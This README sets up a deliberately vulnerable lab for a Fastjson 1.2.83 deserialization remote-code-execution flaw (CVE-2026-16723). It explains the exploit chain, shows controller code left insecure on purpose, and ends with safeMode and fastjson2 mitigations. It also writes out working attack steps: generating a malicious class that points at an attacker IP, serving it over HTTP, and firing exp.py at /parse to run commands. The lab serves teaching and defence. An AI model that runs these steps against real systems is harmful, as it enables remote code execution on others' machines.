
Fastjson 1.2.83 RCE 靶场环境 (CVE-2026-16723)
Disclaimer: This lab is intended solely for security research, teaching demonstrations, and defense construction in authorized environments. Testing unauthorized targets without permission may be illegal; users bear all responsibility for the consequences.
| Item | Content |
|---|---|
| CVE | CVE-2026-16723 (CVSS 9.0) |
| Affected Versions | Fastjson 1.2.68 ~ 1.2.83 |
| Vulnerability Type | Deserialization Remote Code Execution (RCE) |
| Core Feature | Gadget-free (does not rely on any third-party libraries) |
| Full RCE Conditions | JDK 8 + Spring Boot Fat-JAR + SafeMode disabled |
Fastjson 1.2.83
Spring Boot fat-JAR packaging (includes LaunchedURLClassLoader, a necessary component of the exploit chain)
Fixed key line: ParseController switches the thread ClassLoader to LaunchedURLClassLoader before calling JSON.parse() (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())), which is a necessary prerequisite for the @JSONType probe path to remotely load classes
Provides two parsing endpoints: /parse (JSON.parse) and /parseObject (JSON.parseObject)
Build the fat-JAR from source (requires JDK 8 + Maven):
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests
The build artifact is at target/fastjson-rce-lab.jar.
If Maven is not available, you can also use the Maven Wrapper bundled with the project (requires configuring
mvnwin advance).
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080
chmod +x start.sh
./start.sh
# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080
About
--server.port=18080: environment variables such asSERVER__PORTmay be present and override the port configuration inapplication.properties; forcing the port via the command-line argument ensures it is correct (command-line arguments have the highest priority).
About the JVM parameters:
-Xmx256m -XX:+UseSerialGCare used to run normally on low-memory virtual machines (e.g., Kali with 2-4G), avoiding OOM during JVM initialization. They can be removed if the machine has sufficient memory.
curl http://127.0.0.1:18080/status
Expected response:
{
"fastjsonVersion": "1.2.83",
"safeMode": false,
"autoTypeSupport": false,
"vulnerable": true,
"javaVersion": "1.8.0_xxx"
}
safeMode: false and vulnerable: true indicate the vulnerable state.
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
// ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
Object obj = JSON.parse(body);
// ...
}
Without this setContextClassLoader line, Fastjson uses the system default AppClassLoader and cannot load remote classes via the jar:http:// protocol.
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
The poc/GenProbe.java bundled with the repository has two compatibility issues already fixed:
/bin/bash -c → changed to a generic Runtime.exec(String) version (works on both Windows and Linux)"cmd /c xxx" for Windows targets, and directly use "touch /tmp/pwned" or "bash -c xxx" for Linux targetsThe complete attack procedure is in 靶场测试完整指南.md (in the same directory), including:
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"
# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090
# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe
# JVM 启动参数
-Dfastjson.parser.safeMode=true
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.x</version>
</dependency>
Fastjson2 is not affected by this vulnerability.
com.alibaba:fastjson:1.2.83_noneautotype build version| Method | Path | Description |
|---|
| GET | / | Lab homepage (HTML) |
| GET | /status | Fastjson configuration status (JSON) |
| POST | /parse | JSON.parse(body) — main vulnerability trigger endpoint |
| POST | /parseObject | JSON.parseObject(body) — backup trigger endpoint |